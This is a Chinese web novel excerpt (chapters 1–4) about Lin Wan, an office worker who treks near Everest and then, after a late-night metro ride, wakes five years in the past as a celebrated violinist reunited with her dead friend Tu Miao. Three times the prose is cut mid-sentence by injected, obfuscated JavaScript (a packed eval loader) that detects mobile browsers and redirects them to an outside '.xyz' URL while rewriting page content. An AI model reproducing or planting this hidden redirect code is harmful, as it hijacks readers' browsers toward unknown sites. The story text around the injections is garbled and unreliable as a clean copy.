《时空隧道地铁》 1. 徒步喜马拉雅 喜马拉雅,雪线之上,海拔6800米。 太阳从珠穆朗玛峰升起,灿烂金光洒向皑皑白雪之巅。极致纯净的蓝天笼罩着苍茫突耸的群山峻岭。 林菀与队友并排坐在雪坡上休息。不知是阳光刺眼,还是因为疲惫,一瞬间她有些眩晕,眼前浮现闺蜜涂淼模糊的面庞。她擦了擦护目镜,透过冰凉稀薄的空气仰头瞭望。云雾缭绕的珠穆朗玛峰起伏绵延,山脊上冰刺耸立的冰塔林蔓延开去,与荒砾碎石接壤。这里没有一丝绿色,或者一只野生动物,除了远道而来的人类。 “太痛苦了,我要散架了。”男同事瘫坐在地上干呕喘气,抬头看向随队女向导丹增,“这跟我以前爬过的雪山完全不一样。” “还能坚持吗?马上就到7028了。”丹增帮他拿出保温杯,在石头上磕掉冻住杯子的碎冰,让他喝水。然后她抹了一把帽子上的冰雪,碰碰林菀的胳膊,“还好吗?” “还行。”林菀也喘着气。 “你们于总高反严重。”丹增盯着绳索下方。倾斜超过七十度的陡峭雪坡,细细的安全绳拴住所有人的性命。 林菀也望过去,于总落在最后。由于高原反应,不少人几乎不吃不喝,甚至出现无法排尿的情况,只能由高山医生挨个打利尿剂。对于总来说,利尿针打了,红牛和红景天都喝了,但还是身疲体乏,走不动。 丹增又说道:“你们这个团建,十个人里能有三个到7028就不错了。”在她看来,这群内地客户习惯了坐办公室,体力太差。 “希望我是三分之一。”林菀轻声说,再次望向珠峰。相比海拔7028米的目的地,她对珠峰峰顶更有兴趣。然而想要在珠峰北坡登顶,也就是取道西藏一侧,必须拥有8000米以上山峰登顶证明以及50万人民币预算。 林菀来珠峰,不是团建,而是工作。 今年珠峰有大型登顶科考活动。珑亚作为在国内响当当的车企之一,赞助了科考队,拿出几辆最新款的越野车一直开到珠峰大本营。但不光珑亚,其他车企也有赞助。所以于副总别出心裁,亲自上阵召集公司同僚参加珠峰徒步,意在给公司加大宣传的同时争取也把头衔里那个“副”字去掉。 于总热衷参加户外活动,年轻时拿到6000米以上山峰的登顶证书,还真在全公司找出九个拥有同样资格的人,就此组团报名冲击7028米珠峰北坳营地的喜马拉雅徒步活动。 林菀,作为唯一拥有资质的女性成员,正好是品牌运营中心员工,负责拿着相机和横幅,一路给大家拍照。只不过由于路途艰辛,相机和横幅早就转到丹增的背包里。 路绳、上升器、保护锁……林菀仔细注意动作,将鞋子上的冰爪紧紧嵌入雪地。 然而不多时她便听说了于总吐胆汁的消息。她和其他几个爬在前面的同事只能立即下撤去查看。 大风呼啸的雪坡上,一个向导和珑亚两个男同事在苦苦劝说于总回头。以他的体力,即使继续上爬,也无法在指定时间窗口期到达北坳营地。时间延误将导致不可控危险,所以他必须下撤。 于总还在一个劲儿念叨他没问题,只是没休息好。而丹增在旁边摇摇头,于总的话已经不可信,或许他都不知道自己的话不对劲。高寒缺氧的环境给人体造成不小负担,所有动作都比大脑指令慢一步。思维混乱也不是罕见的事情。 他必须尽快下山,否则可能出现更严重的症状。 于是乎,珑亚十人聚集到这个雪坡上,匆匆掏出横幅拍照留念,然后立即下山。 林菀回头望了一眼身后的雪山。整个徒步团有二十五人,有几个散客随他们一起下山,另外还有几人在向导的带领下继续朝7028北坳高地冲刺。那里,距离8848米的珠峰只有一千多米的海拔差距。 嗨,涂淼你看到了吗?我替你来珠峰啦! …… 下山比上山难,百分之八十的山难都发生在下山途中。考虑于总身体情况,一行人计划放弃在海拔6500米的前进营地留宿,直接下撤去大本营。 回程,在东绒布冰川,他们遇到了另一个探险团。那是一个准备登顶珠峰的商业团,刚刚进行了高海拔适应性训练,也要下撤去珠峰大本营。 队伍又长了很多,却依旧沉默。 脚下没有一块石头是平整的,林菀已经忘了走在平路上是什么感觉,每一步都像是光脚在指压板上跑步,疼痛随着神经侵袭而上。 “加油林菀!珠峰呐!厉害!坚持就是胜利!”眼前,涂淼坚定地为她鼓劲。 坚持就是胜利。 林菀将氧气面罩阀门调到三档,继续往下走。她前面的徒步者很是细心,时不时回头查看她的情况,搀扶一把。 再一次,那名队友回头,突然伸手在她的氧气面罩上碰了碰,紧接着将他的面罩取下换给林菀。他自己则戴上了林菀的面罩。 天色晦暗,大雪纷飞,能见度极低,气温在零下十几度。所有人都戴着帽子、眼镜、头灯以及保暖的绒布面罩,然后才捂着氧气面罩。因此林菀根本看不到对方的脸,只看到自己的氧气面罩挂在对方脸上,外壳有明显裂缝。 由于缺氧,林菀愣了半晌才意识到发生了什么,“你——” “没事。”对方轻轻拍掉她肩头的风雪,捏了捏她厚厚的手套算是致意,继续下行。 这个声音莫名让林菀的心跳刷地平稳下来。 回到5200米海拔的珠峰大本营,是近乎天亮之时。 一组中国救援队急匆匆路过,计划连夜冲锋至海拔八千米,营救一位突发肺水肿的外国探险人员。 相对充足的氧气让林菀的大脑缓慢恢复节奏,她此刻才意识到那名队友换氧气面罩的行为会给对方会带来多大危险。尼泊尔所在的珠峰南坡,每年都有伤亡事故。 林菀四处寻找,可帐篷里又挤满了其他队伍的攀登者,以及初来乍到的记者们,甚至还有从外国营地过来玩耍的各色人种面孔。有些人在珠峰沿路找到空氧气瓶拿下来,一个空瓶能换一千元人民币。 “丹增,”林菀好不容易找到熟人,“回来路上有人把氧气面罩换给我,你知道是谁吗?” “啊?”丹增一脸难以置信,不过她明白林菀的担心,“队医都检查过了,没人有问题。你们那个老板更要紧。” “那你要是问到了,记得告诉我。”出门前,林菀连忙说。 …… 在把于总送去医院后,珑亚品牌部新来的经理谭姿裹着藏式披肩,拥抱了林菀,“辛苦了,Nora。” 品牌部这次来三个人,两个都因为高反倒了,只有林菀撑到最后。 晚上,藏族向导们围着篝火跳锅庄。而林菀则跟谭姿一起坐在帐篷里喝藏式奶茶。她抱着电脑潦草记下今天的活动。外包公司没过来珠峰,所以这次活动的宣传稿只能她写。 谭姿透过天窗望着银河,伸手仿佛要触摸星空。她手指上的钻戒折射着小小的夜灯光芒。“在这边,感觉一天之内就老了。”高寒缺氧环境,身体负担很大。 林菀很敏感,想了想才开口:“四十岁是如今的新三十岁,您还年轻。”她顿了顿,“婚戒很漂亮。”这戒指挺符合林菀的审美。 谭姿噗嗤笑了,“这款最简约。我老公那个审美花里胡哨的,被我摁着选了这款。”谭姿年过四十,而她新婚的丈夫才大学毕业。 “最近我看到有人跟我老公戴一样的婚戒。”谭姿挑眉,“林吾,听说过没?” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102818|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菀摇摇头。 “一个新锐画家,最近在国际上势头很足。”谭姿掏出ipad展示林吾的画,“他画油画,只画风景。” 林菀对此了解不多,甚至刻意回避,因为每每提起油画便会让她想起早逝的画家父亲。而此刻,她看得渐渐有些出神。纵然是个外行,她也知道这画真漂亮。林吾笔下的林间小道、春雪桃花极具东方神韵与诗意,亮色系的色彩铺层温和又美丽。 谭姿又划出一张画展海报。那也是一张油画,描摹一个白裙女子拎着草帽,在深绿的茶园里欢快迈步的背影。 “您不是说他不画人么?”帐篷外突然传来一个声音。 两人都吓了一跳,差点捧不住奶茶。 曹磊,刚进部门的应届生,裹着羽绒服举着吊瓶,盘腿坐在帐篷外嘿嘿笑。谭姿看在他人高马大的份上将他带来青藏高原,却万万没想到他是第一个弱不禁风倒下的。 “你什么时候来的?”林菀将帐篷拉开。 “就刚刚看到你们这有光。”曹磊钻进帐篷,挂着吊瓶的架子也扛进来,否则长时间留在外面会冻住,“Nora你身体真可以,平时健身?” “上学那阵运动勤快。”林菀说。现在熬夜加外卖,她比上学时重十斤了。想了想,她咧嘴开玩笑,“基因玄学吧,我是试管婴儿。”多年前,她是被人工筛选出来的一颗受精卵。 谭姿倒是看了她一眼。 曹磊看着那张海报,吃惊地喊了声林菀,“Nora,这画上的姑娘是你吧!”这个背影加侧脸,简直一模一样! “瞎说。”谭姿打断他,“这是画家的老婆。”她点点海报上的展览名字——吾爱。 林吾个人大型画展“吾爱”十月一日盛大开幕。展出皆为风景油画,但宣传海报却执意使用了他画下的妻子背影。 那是他唯一的人物画。 听上去有些深情呢。林菀略有出神。 “可是真的像啊,”曹磊还在强调,冲林菀笑着抱拳,“你要是这个画家隐姓埋名的老婆,请苟富贵勿相忘。” “我还猫贫贱,勿相喵呢。”林菀故意瞪他,“说正事儿。”在领导面前开玩笑要注意尺度。 “公司想签下林吾,为下半年推出的那款高端豪华车型做跨界代言。”谭姿打开电脑,“回头我把邮件转发给你们。”高端奢华且主要针对中产以上人群的大件产品是不可能找普通流量明星代言的,一般都会找影帝影后、球星或者艺术家。 “怎么没有画家本人照片?”林菀没找到林吾个人照。 “他从不公开露面,这就是请他代言最大的问题。”谭姿说。上次语音会议,林吾不小心摁开摄像头,很快就关了视频。那一瞥让谭姿看到他无名指上的婚戒,跟自己丈夫手上一模一样的男式婚戒。 这样一个小插曲,让林吾在那端轻轻说:“抱歉。”这是他开口说的第一句话,声音年轻,好听又温和,醇滑如小提琴。 短短一两秒钟,窗明几净的房间,整洁干净的桌面,男人手指修长的手,英年早婚的低调婚戒,干净的白衬衫。谭姿确信,即使林画家本人颜值不高,但气质绝对上乘,那么只要他愿意,首次露面代言珑亚肯定能冲上热门话题榜。 然而曹磊还在傻傻问:“没人认识他,很难宣传吧?” 谭姿拿笔敲了曹磊脑门一下,“天天搞收藏的有钱人都知道他,明白吗?那些人就是我们高端线的客户。林吾开心了,送你一张巴掌大的画,你这辈子都能躺平了。”她看到曹磊眼睛一亮,又笑道,“人家可是跟法国画廊签约的,别说送画了,连能不能给你签名都另说。” 而林菀的注意力还在那幅女人背影的画上。 她的家乡,也有绕山转的漫漫茶园。 2. 时空变幻 天空蓝得像一面擦洗得异常干净的镜子。经幡翻飞,红旗飘扬,旗杆反射着刺眼的阳光。几只肥嘟嘟的鸟儿在地上蹦来跳去,啄着人们洒下的青稞米粒。远处,牦牛队在山壁的阴影下小憩。 最大的帐篷前,掌声如雷,科考登山启动仪式顺利举行。 林菀忙碌整个上午,终于结束工作。她瞧见丹增在旁摆弄一架高倍望远镜,便咔擦拍了张照片。“一大早就没见你,在忙什么?” “通讯系统有毛病,调试半天总算弄好了。”丹增笑着凑过来看照片,捏捏她手机上的兔子挂件,然后指指望远镜,“你要不要看修路队到哪儿了?” 林菀凑到望远镜前,看到遥远的珠穆朗玛峰顶第二台阶上,有几个蚂蚁一般的小人儿在缓慢挪动。他们负责为今年国内外所有登顶人员铺设安全绳索。 在这里,人们往往忽略掉脚下五千米海拔,对高度和距离产生误判,觉得珠穆朗玛峰没那么远,也没那么高。可林菀已经体会到望山跑死马。修路队所在的八千六百米海拔,是她平时坐飞机才能平视的高度。 “给我换氧气面罩的会不会是其中一个?”林菀问。难怪她左问右问都找不到那个人,因为修路队已经进山了。 “他们不直接服务客户。”丹增说,“你应该是记岔了。”更隐晦的意思是,换面罩这事是林菀的幻觉。即使有人换面罩,那也只有向导会这样做。连自己都顾不过来的客户是不可能互相换面罩的,甚至他们疲惫到摘下面罩都费劲。 见林菀还在沉思,丹增岔开话题,“你六千米登的是哪座山?” “玉珠峰,我大学室友家里在那边做向导。她其实也想来珠峰。”林菀说。当时整个宿舍都跑去涂淼家玩耍。所有登山用具都是现成的,但只有林菀和涂淼跟着涂家表哥爬上了峰顶。 “她怎么没一起来?” 林菀感觉风吹得脸疼,“她已经去世了。” 涂淼有太多的梦想没完成,没爬上珠峰,也没成为一名顶级化妆师。 涂淼比林菀大五岁,大四那年遇上调整宿舍,正好跟读大一的林菀住在一起。她喜欢摆弄化妆品,教会周围几个宿舍的女孩们化妆。 毕业后涂淼去横店当化妆师,落魄地混了几年,在家人施压下回老家匆匆嫁人。林菀去参加了她的婚礼,随后没两年再去参加了她的葬礼。 “你替她来珠峰,算是完成她的梦想了。”丹增说。 “是啊。”林菀笑了。 “那你自己的梦想呢?” 阳光刺眼,林菀眯起眼睛,莫名想起自己的微信头像,那是一条在海里游泳的沙丁鱼。因为她每天在人挤人的早高峰地铁里抱着背包时都觉得自己特别像一条沙丁鱼。于是乎,她语气悠哉地回答:“当一条咸鱼,游手好闲,做一个对社会有副作用的人。” 丹增以为她在开玩笑,“我是说你以后计划干什么。像我就想读中国地质大学的专升本。” 林菀认真想了想,“我小时候会拉小提琴,参加省里比赛得了第一名。” “然后呢?” “然后就没有然后了。” 她放弃了小提琴,成为滚滚红尘里最普通的一员。 她也不知道为何自己会突然提起小提琴。 如果没学过也就罢了……相比一直没得到的,得到了又失去的东西更让人耿耿于怀。因为那或许是一个改变命运的机会。而回想人生,她有太多错失的机会,其中小提琴最让她放不下。 林菀不追星,可一直喜欢去音乐会。她是莱音交响乐团的忠实乐迷,不会错过任何一场新年演奏会。她的目光总落在小提琴首席身上。 真是太羡慕了。 可是学琴太贵,二叔不会答应的。他只会一遍遍地念叨林菀父亲生前卖出去的那副画,遗憾一个绘画天才的半途陨落。而林菀也心有亏欠,绝不乱花钱,更别提主动想要花钱。 所以在睡前emo时间,林菀都会劝自己,就算学了小提琴,又有几个人能走到乐团首席的位置?可能她还是会泯然众人,最好的归宿是去课外班教小孩子。 梦想嘛,真的已经过了说这个的年纪。 …… 两天后飞回莱城,林菀拖着行李直接回家。 午夜十二点的末次地铁,空荡荡没几个人。扶手在空中微微摇晃。窗外隧道广告墙飞速划过第二十二届莱城国际电影节的宣传海报,直至消失不见。 林菀靠着座椅边的柱子小憩,直到被咔擦一声震动惊醒。 机械化的女声播报,列车已到达繁寓路站。 车门开,站台上有一个穿着店铺制服的年轻女人。 “哎呀,真巧!”对方看到她便十分惊喜,“美女,上次你和先生来店里,我忘了给名片。”她掏出一张名片,上面印着微信二维码。 林菀愕然,名片上竟写着某高端婚纱连锁店的名字。“你认错人了,我还没结婚。”她都没谈恋爱,怎么会和丈夫一起去婚纱店? 对方一愣,满脸疑惑与惊讶。 眼看地铁红灯亮起,林菀笑一笑,“快上车吧。”说完转身离开。 走到电梯口,她突然回头看了看。 空无一人的站台,地铁消失在黑暗的隧道里。 …… 林菀租住的房子就在地铁站旁边的小区。三室两厅的屋子,她租住了主卧,另外两间房暂且没被房东租出去,都放着房东的东西。 回到卧室,她简单洗漱完便躺倒在被子里,总算卸下一身疲惫,靠着毛茸茸的兔子玩偶很快沉睡。 第二天,周日,中午。 手机反反复复地震动,终于把林菀震醒。 “姐姐你终于接电话了!”一个年轻的男声在那边喜极而泣,“我就在门口!您是在家吧?” “快递放门口就好,谢谢。”林菀皱起眉头。这谁?一上来就喊姐姐。 “我是麦柯啊!”对方又急又委屈,“摁半天门铃了,你听不到吗?” “门铃坏了……”林菀坐起身,睡眼迷蒙地捋了下头发,“我不认识你,找错人了吧?” 对方终于嚎起来:“对不起!我不应该昨天半夜给你打电话,可是,是你说我失恋了可以来问你的,姐姐!我现在就是找你啊,我的大boss,莱音小提琴首席林菀——要赶不上今晚的颁奖典礼了!” 林菀瞬间傻眼,这是什么动人心弦的新型诈骗方式? …… 时间渐渐过去,林菀终于明白了为什么有些受害者会心甘情愿地去银行汇钱。因为如果这个戴着黑框眼镜,穿着棒球服,名字叫麦柯的圆脸男生继续演下去,她都有消费冲动——他说她是莱音小提琴首席林菀诶! 当林菀反问那她的小提琴在哪里时,男生竟然说:“你问的是哪一把?” OK,这个回答更让人心动。 而此刻,她正坐在化妆镜前任由造型师摆弄自己的头发。虽然一切都是陌生的,陌生的面孔,陌生的活动,陌生的环境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102819|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——唯有她,镜子里的林菀没有变。 “您最近去海边了?晒黑了点。”化妆师拿着粉扑摁上来,扫了眼林菀明显黑了一个色号的双手。 “我去西藏了。” “姐姐,你想要哪双鞋?”麦柯捧着两个鞋盒凑上来,却发现林菀的手机竟然在录音。他动作一滞,顿时很委屈,“姐姐,我可是掏心掏肺地对你好啊!” “弟弟,你这个掏心掏肺是字典上那个方式,还是缅北那个方式?”林菀耐心地问。她当然要长个心眼,如果情况不对立即报警。 麦柯愣怔,“缅北是谁?” “你们就没有……同行之间的交流大会?” “我还跟同行交流啥,”麦柯将高跟鞋拿出来摆好,蹲下来打算帮林菀换鞋,“读了四年音乐学院,但凡能卖艺回个本都不至于改行当助理。” “我自己来。”林菀立即拦住他,忍不住抬头找摄像头,“不是,我说你们这是看素人reaction的大型真人秀吗?” 麦柯奋力将她摁回椅子,“姐你今天怪怪的,昨天跟涂老师喝了多少?” “什么涂老师?”林菀没反应过来。 “涂淼老师啊。”麦柯坦然地望着镜子,跟林菀在镜中对视。 林菀定了几秒,猛回头,差点打翻化妆师手里的散粉,“涂淼还活着?” 麦柯表情未变,“你昨晚把她喝死了?” “你说的是在横店打工过的化妆师涂淼?”林菀需要确认是不是同名同姓的另外一人。 “我说的是在好莱坞工作过的化妆造型师涂淼。”麦柯噘嘴,“横店都是哪年的老黄历了,还翻呐?” “我就是涂老师介绍给您的,忘了?”化妆师笑着说。 林菀震惊得哑口无言,下意识拍自己的脸,被化妆师及时拦住,“别碰,还没定妆。” “化妆老师麻烦您快点。”麦柯看了微信,对林菀说道,“涂老师的助理说,她们也要迟到,反正到颁奖礼后台再碰面——您手机是不是又忘了充电?”所以对方才把微信发到他手机里。 林菀茫然地望着镜子里的自己。再精确的骗局也不至于荒唐到如此地步,复活一个死人。 涂淼?颁奖礼? 难道这不是诈骗,是梦? 不管如何,她得去那个颁奖典礼一探究竟。 …… 一个半小时后。 红毯铺地,人海欢呼,摄影灯光闪烁。麦柯却眼睁睁看着林菀下车就愣在原地,仿佛被人点穴一样一动不动。 “往前走啊!”麦柯急扑到车门口,拉扯林菀的裙角。 林菀被拽得朝后退了一步,猛然回神。由于太过震惊,她反而忘了紧张,被抽离了意识一般迈步。 “林菀!林菀看这里!” “麻烦您转个身!” 摄影师们的灯光炽亮,林菀下意识侧脸眨眼。 远处电影节的巨型海报下,主持人大声喊道——“让我们欢迎电影《日光城交响曲》主题曲演奏者,著名小提琴家林菀女士!” 那一瞬间,周围的欢呼声响彻云霄。 不对,这不像梦…… 站在台阶上,长裙铺地,长发披肩,林菀倏忽回头,看向路两边黑压压的记者和摄影师,以及更远地方的影迷乐迷们。五月的凉风吹来,吹起路边横幅,还有人们手握的海报。物料时间统统显示“第十七届莱城国际电影节”。 这是五年前的莱城国际电影节。 3. 电影节颁奖典礼 内场,四面八方灯光闪烁,照亮所有角落。 林菀在标着自己名字的座位坐下,惊愕地望着金碧辉煌的舞台——她的大脑依旧一片空白。周围各种演艺人士寒暄落座,不住有人过来跟她握手。但她却压根不认识这些人。传说中的海龟化妆师涂淼呢?怎么没见到? 很快,颁奖典礼开始。 林菀依旧无法进入状态,比起舞台上打趣的主持人,她似乎对墙纸、座椅、以及自己的掌纹更加感兴趣。熟悉的纹理,普通的温度,哪儿变了……又好像哪儿没变。她环顾四周,越发觉得不可思议。 “接下来,最佳音乐奖入围名单……” 林菀猛然抬头,她竟然听到了自己的名字。大屏上也出现了此刻她的面孔,没有任何表情,不是因为紧张,而是因为茫然。 等等,这是什么情况?到底在干什么?她要做什么反应?一时间,她进入一种奇怪的第三者视角,跳脱出来旁观自己,到处搜罗却找不到答案。 “获奖者是——林菀!《日光城交响曲》主题曲!” 顿时,潮水般的掌声将林菀淹没。周围所有人都站起来,林菀也下意识站起来,立即被旁边的女演员拉过去拥抱。众人围上来跟她握手道喜,紧接着她被推向舞台。 大家太热情了吧?阿嚏!混杂的香水味太重了。真的要去台上吗?啊,裙子好重,勒得慌,上台阶也看不到脚。等等,《日光城交响曲》是个什么电影?别说五年前了,这辈子都没有听说过。咋还说她参与作曲?林菀脑子一片混乱,而手里已经被塞了一只水晶奖杯。话筒也被调整到她的高度。 这感觉太诡异了,就像灰姑娘误打误撞穿进了别人的水晶鞋,参加了别人的舞会,见到了别人的王子。 舞台下,观众席满当当坐着人。他们都慢慢安静下来,向林菀施注目礼。林菀的心跳猛然上了高速公路,紧张得手心沁出汗珠,而在这紧张中依旧有种穿错鞋的诡异羞怯感。 她只能硬着头皮开口。“谢谢大家——”话音未落,又是一阵铺天盖地的掌声。 灯光闪烁里,一个女人激动地起身挥手,喊破嗓子,“林菀!你是最棒的!” 这声音太过熟悉,让林菀脑袋好像炸开一样,她下意识朝声音处望去,半天也动不了。 灿烂辉煌的背景里,涂淼站在人群中开心大笑。她也穿着一身裤装的华服,兴高采烈地鼓掌——那样虚幻,又那样真实。 一瞬间,林菀感觉浑身的血都朝头部涌来。她猛地睁大眼睛,手里水晶杯的棱角勒得她虎口生疼。 她突然知道了该怎么说自己的获奖感言。 “谢谢所有人,谢谢大家一起走到这里。如果这是梦,我非常感激。” 她深深地鞠躬,在弯腰的那一瞬间,泪水忍不住落下。 林菀走下舞台,被冲过来的涂淼抱了个满怀。旁边的工作人员笑着及时接过奖杯,打算拿去刻名字。 “超棒!啊啊啊,你最厉害了!”涂淼紧紧拥住她,兴奋得仿佛要把林菀胸腔的空气都挤出来,“今天我拿不拿奖都无所谓!看到你拿奖,我就心满意足了!” 林菀的喉头哽住,脸上也火辣辣烧起来。她无声地拉起涂淼,下意识检查她的胳膊和脸庞,没有淤青,没有骨折。眼球没有掉出来,鼻子没有断裂,嘴巴里也有牙齿,这是完好无损的涂淼,这是没有被丈夫家暴而死的涂淼。 “找啥啊你?”涂淼笑。 “你没事。”林菀哑着嗓子。 “我当然没事。”涂淼以为林菀是幸福晕了头,乐呵呵搂着她肩膀回座位,“哎呀,我迟到了。” “对不起。”林菀的声音有些颤抖,“我应该早点察觉到你不对劲,我应该早点去救你。”曾经的涂淼也因为家暴而报警过,但她对远在莱城的林菀什么都没有说。事后林菀反反复复地询问涂淼的父母原因,换来简单一句“这事儿太丢脸”。丢脸的事情怎么好意思往外说?林菀不信,这是涂淼父母的态度,绝对不是涂淼的态度。可无人再知晓。 “啥意思?范进中举疯了啊?”涂淼愕然地伸手摸她的额头。 林菀眼里的泪光瞬间憋回去,却又忍不住再次笑出泪花。 随后,是最佳化妆/造型奖的颁布,入围名单里出现涂淼。 “有你!”林菀一脸震惊,迅速转身紧紧抓住涂淼的手,似乎这样就能让自己的好运气也传过去。 涂淼也死死握住林菀的手,紧张得不住抖腿。 “获奖者是——涂淼,《巴克莱岛的秘密》!” 涂淼尖叫着一蹦三尺高,“啊啊啊啊!是我!”众人纷纷发出善意的笑声。 “对吧?念的是我的名字,没有听错,是不是!”涂淼慌忙确认。 这一次,换林菀站在观众席,又哭又笑。 下台,涂淼一手握着奖杯,一手揽着林菀,与她额头相抵,嗓音沙哑,“宝啊,我们都做到了。” 是的,她们一路相互扶持,相互勉励,就算被质疑也从不放弃,就算跌落谷底也绝不灰心,终于一起站到了领奖台。 颁奖典礼后,是庆功宴。林菀不停地被敬酒祝贺。而庆功宴结束,相熟的一群人又换了个酒吧继续喝酒。 林菀拽住麦柯,诚恳地致谢,“谢谢你,不管是怎么回事……真的谢谢你。” “姐姐,我受不起!”麦柯也喝多了,摇摇晃晃起身作揖。 这一次,林菀终于有时间和涂淼坐在一起休息。 涂淼晃着一杯香槟,已经半醉,“还记得不?我刚毕业那会儿没钱没工作,穷到天天在火车站睡觉,差点就卷铺盖回老家了。幸亏坚持下来,要不怎么会有今晚的奖啊,哈哈哈哈。” 林菀仔细打量她的眉眼,多少年了,才又见面。“你没跟我说过睡火车站。” “不是怕你担心嘛。”涂淼笑呵呵,“我是想过放弃的。那阵子你刚好在准备比赛,职业病犯了,腰痛到连呼吸都疼。我问你要休息几天,你说看完医生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102820|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就回去继续练习。那一刻我想,靠,劳资也没到山穷水尽的地步啊,坚持到35岁再说。” 林菀笑了,这真的是涂淼啊。 “你今晚怎么回事?眼神慈祥得跟小老太太似的。”涂淼上手捏她的脸,“也就比我大两个月而已。” “瞎说,我比你小五岁。” “你喝多少了?”涂淼嫌弃地将林菀手里的酒杯拿走,抬眼瞧见不远处的新科影帝,于是朝林菀努努嘴,“哎,感觉怎么样?我们剧组的。” 林菀也假装认真打量,“还行吧。太壮了。” “回头喊他减减肥,再带来见你。” “好,那《日光城交响曲》这边,你有没有瞧中的?” “我觉得男二不错。下次你做个局请我俩吃饭。看我拿下他。” “好。”林菀点头。 然后两个人对视着,噗嗤笑出声。彼此心里都清楚,这都是嘴上玩笑话而已。 “林首席,”新科影帝走过来,笑着举杯,“上次说好,如果我得奖,就请你在庆功宴演奏一首《欢乐颂》,还能兑现吗?” 林菀诧异打量对方。这个演员她认得,经常看对方的电视剧。不过当场演奏?她尴尬一笑,“这边也没有琴——” “好说。酒吧老板就有,虽然比不上你的私家珍藏。”影帝打了个响指,有人连忙托着琴箱过来,里面躺着一把小提琴。 盯着琴,林菀却突然懵了,半晌才抬头,“不好意思,我喝太多头疼,不在状态。换个时间可以吗?” 影帝很爽快,“没问题。你多休息。” “怎么了?”涂淼不明就里。 林菀摇摇头,起身去了旁边的休息室。涂淼也跟进来。桌上放着两人的个人用品,还有一束花。这束花没有繁复花枝修饰,唯有怒放的绿色桔梗,用白色和绿色的欧雅纸包扎,不知是哪个乐迷送的,放在颁奖礼后台。林菀今晚收了太多的鲜花,唯有这一束最符合她的心意,便随身带来酒吧。 林菀的手机已经让麦柯拿去充好电,此刻正在桌上震动——有个陌生电话。而她出于习惯直接划掉了。再一看,有好多未读的祝贺短信和未接的通讯录电话。 “听说你八月份所有演出的票都卖光了,”涂淼在饮水机前咕咚咕咚倒水,“我还想从你这儿拿票送人来着——还有么?” “我八月份有演出?”林菀扭头反问,音调一路走高。怎么两个多月后她就演出了?演啥出啊?能演啥啊? “你今天到底怎么回事?一惊一乍的。”涂淼放下杯子,语气严肃,“演奏会是你的本职工作,不表演你要干啥?” 这下,林菀彻底酒醒——此刻,她不是社畜打工人林菀,是小提琴家林菀。 而刚刚影帝的邀请让她确定了一个事实。 多年过去,她童年那点琴技可以忽略不计…… 某种程度上说,此时此刻闻名全国,拿到电影节重头奖项的莱音首席林菀女士,根本不会拉琴。 4. 他手上有婚戒 间隔十分钟的手机闹铃不停地在枕边滴滴。 林菀睡眼惺忪地起身,因为宿醉而头痛欲裂。她记得半夜三点多才到家,也没睡几个小时。 脚踩到地上,冰凉的触感让她慢慢拉回思绪,环视四周,心里某个角落轰然塌下去。 原来真是梦啊……她坐了足足五分钟才起身洗漱。 如往常一样,林菀先乘地铁,然后买豆浆花卷,急匆匆赶在最后一分钟手机打卡,再走到公司等电梯,回办公室开电脑擦桌子,给桌角的仙人掌喷水。 “Nora,”曹磊去倒水,但太多人接水导致水还没烧开,他便回来跟林菀闲聊,“林吾今天上午要来公司。” “看到了。”林菀点开谭姿转发的邮件,“没说签约的事,估计是来参观。” “谭姐要带两个人接待。你去吗?”曹磊问。这是个见世面的好机会,大家都跃跃欲试。 林菀立即沉思,最后在“去厕所划水玩手机”与“去七楼找同事谈工作”之间选择了后者,“我要去七楼一趟,如果谭姐问我就这么说吧。” 于是她早餐也没吃便匆匆下楼。 对于父亲曾经跻身的油画艺术圈,她避而不谈,也视而不见。否则会伤心,会像二叔那样遗憾天妒英才。而这一切都是她母亲造成的。这是一场二十多年前的家庭凶杀案。某女子杀死了自己的丈夫,随后畏罪自尽。 中午,老总和林吾出去吃饭,带走了谭姿。而其他虾兵蟹将自然是去食堂。有女同事特别激动地聊起林吾。 “老天爷什么时候能赐我一个这样的帅哥!”Maggie双手合十,“个子高身材好,超有艺术家气质!” “有合照吗?”林菀问。考虑到油画这行的普遍成名年龄,她幻想出的是一个胡子蓬松的半秃顶长发大叔。 “不能拍照。他说由于个人原因,暂时不便露面。” “那他有签约意向吗?” “说不好。不过他对品牌部挺感兴趣。对吧,曹磊?别刷抖音了。” “好吧,周总带过去的人他只打了招呼,但轮到我们这儿,他还问了名字。” “我要下次表现更好。说不定有天能成为林夫人。”Maggie摩拳擦掌。 “听说他结婚了。”林菀说。 “对,他的婚戒跟谭姐老公的一样。”曹磊补充,没意识到这话暴露了自己其实在帐篷外听到好多。 